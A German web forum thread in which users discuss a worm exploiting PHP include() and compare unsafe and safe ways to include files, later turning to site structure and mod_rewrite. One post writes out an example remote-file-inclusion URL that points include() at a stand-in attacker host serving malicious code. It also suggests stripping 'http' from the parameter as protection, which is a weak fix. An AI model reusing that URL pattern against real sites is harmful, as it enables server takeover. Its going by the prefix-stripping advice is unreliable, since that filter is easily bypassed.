btr Artikel zu "An alle phpBB 2 Forum CMS System N/X Betreiber !!" |
Austin Powers
Mausakrobat Threadstarter
Beiträge: 169 |
http://www.webwork-community.net/posting7059_38_0.html
Über Google, Yahoo und AOL versucht der Wurm zunächst Seiten zu ermitteln, die in PHP geschrieben wurden und in denen die Funktionen "include()" und "require()" vorkommen. Diese Funktionen werden dazu genutzt, um den Inhalt von Dateien auf einer Website anzuzeigen. Wenn der Programmierer die an diese Funktion übergebenen Parameter im Code nicht sorgfältig genug überprüft, kann ein Angreifer diese Funktion mißbrauchen und im Extremfall die gesamte Kontrolle über den Webserver übernehmen.
|
Mal ganz dumm gefragt wie sieht ne unsichere "include()" und wie ne sichere aus?
P.S.: hab festgestellt, das man auf suleitc-servern gehostete scripts über domain (und auch server) grenzen hinweg includieren kann.
---
MfG:Austin Power (Saturn Realm)
OMW! Zumindest sobald ich herausgefunden hab wo ich JETZT gerade bin.
<---------->
"Wenn Liebe die Antwort ist, könnst Du bitte die Frage neu formulieren?" ... Lily Tomlin
<---------->
code hier http://www.pastebin.com
|
 Profil
Website
Editieren
Zitieren
|
schmchris
Mausakrobat
Beiträge: 159 |
Ein Aufruf einer Seite mit "index.php?seite=info.php" und dem dazugehöigen Quellcode
wäre unsicher da der Angreifer ja "index.php?seite=http://webspace.des-angreifers.de/script_mit_schädlichem_inhalt.php"
aufrufen könnte und somit jeden Code auf deinem Webspace ausführen könnte.
Eine Schutzmöglichkeit ist die Variable $seite immer um das "http" zu bereinigen. Dadurch ist keine externe URL mehr möglich.
Diese Nachricht wurde geändert von: schmchris |
 Profil
Editieren
Zitieren
|
Austin Powers
Mausakrobat Threadstarter
Beiträge: 169 |
Achso wieder das Spiel mit den Variablen...
Ok, ich dachte jetzt einen mom, da gäbs noch irgend ne andere Lücke
---
MfG:Austin Power (Saturn Realm)
OMW! Zumindest sobald ich herausgefunden hab wo ich JETZT gerade bin.
<---------->
"Wenn Liebe die Antwort ist, könnst Du bitte die Frage neu formulieren?" ... Lily Tomlin
<---------->
code hier http://www.pastebin.com
|
 Profil
Website
Editieren
Zitieren
|
subjective
Forenheld
Beiträge: 844 |
Besser ist es noch keinen include() auf diese Weise zu machen. Wenn man schon Dateinamen aushebeln und dafür unbedingt GET-Parameter mißbrauchen will:
1:
2:
3:
4:
5:
6:
7:
8: |
$pages = array(
'home' =>'home.php', 'imprint' =>'imprint.php', ...
);
if (isset($_REQUEST['page']) && isset($pages[$_REQUEST['page']])) {
include($pages[$_REQUEST['page']]);
}
|
---
Weaverslave
|
 Profil
Website
Editieren
Zitieren
|
Austin Powers
Mausakrobat Threadstarter
Beiträge: 169 |
includes nutze ich z.Z. um Code der Übersichtshalber und aus aktualisierungsgründen aus dem hauptscript auszulagern.
ist dann aber auch fest
ala
1: | include('div_funktionen.php'); |
---
MfG:Austin Power (Saturn Realm)
OMW! Zumindest sobald ich herausgefunden hab wo ich JETZT gerade bin.
<---------->
"Wenn Liebe die Antwort ist, könnst Du bitte die Frage neu formulieren?" ... Lily Tomlin
<---------->
code hier http://www.pastebin.com
|
 Profil
Website
Editieren
Zitieren
|
schmchris
Mausakrobat
Beiträge: 159 |
Das werden sehr viele machen, um zuminest Header und Footer auszulagern.
Aber auch bei Countern und so wird es ja oft genutzt.
Ich habe die Sache eben umgedreht. Keine index.php die alles included sondern immer z.B.: neuigkeiten.php die dann header counter ...footer included.
|
 Profil
Editieren
Zitieren
|
subjective
Forenheld
Beiträge: 844 |
Jep - genau das halt ich für den deutlich besseren Weg. Somit wird der Dateiname genutzt, der Besucher hat ne vernünftige URL und Teile die mehrmals verwendet werden, liegen halt in zentralen Dateien. Was man gerade für die aktuelle Seite benötigt, wird halt reingeholt (macht die Sache auch sehr flexibel).
Eine zentrale "index.php" über die alles läuft, macht *imho* erst Sinn, wenn alle Inhalte aus der DB kommen (CMS).
---
Weaverslave
|
 Profil
Website
Editieren
Zitieren
|
schmchris
Mausakrobat
Beiträge: 159 |
Weiterhin lasse ich html Dateien per Mod Rewrite auf php umleiten, sieht irgendwie schöner Suchmaschinenfreundlicher aus, ob es was bringt ? Keine Ahnung
|
 Profil
Editieren
Zitieren
|
Austin Powers
Mausakrobat Threadstarter
Beiträge: 169 |
Eine zentrale "index.php" über die alles läuft, macht *imho* erst Sinn, wenn alle Inhalte aus der DB kommen (CMS). |
So geschehen auf meinen Seiten. Nur Scriptlastiges d.h. z.B. Feedback (mail) und Bilder liegen noch als Datei auf der Platte.
Per Mod Rewrite werden die Get Variablen zu Verzeichnissen und .html`s
@schmchris
bei Aufrufen ala "/inhalt.php" bringt mod rewrite zu "/inhalt.html" nichts.
erst wenn etwas "/news.php?date=juli05" zu "/news_juli05.html" wird bringt mod rewrite was.
Da Suchmaschinen Seiten die über "irgendwas?var=wert" niedriger bewerten als .html (oder php ohne var) Seiten
---
MfG:Austin Power (Saturn Realm)
OMW! Zumindest sobald ich herausgefunden hab wo ich JETZT gerade bin.
<---------->
"Wenn Liebe die Antwort ist, könnst Du bitte die Frage neu formulieren?" ... Lily Tomlin
<---------->
code hier http://www.pastebin.com
|
 Profil
Website
Editieren
Zitieren
|
schmchris
Mausakrobat
Beiträge: 159 |
Danke für den Hinweis. Dann werd ich das demnächst (im Urlaub) noch umstellen.
|
 Profil
Editieren
Zitieren
|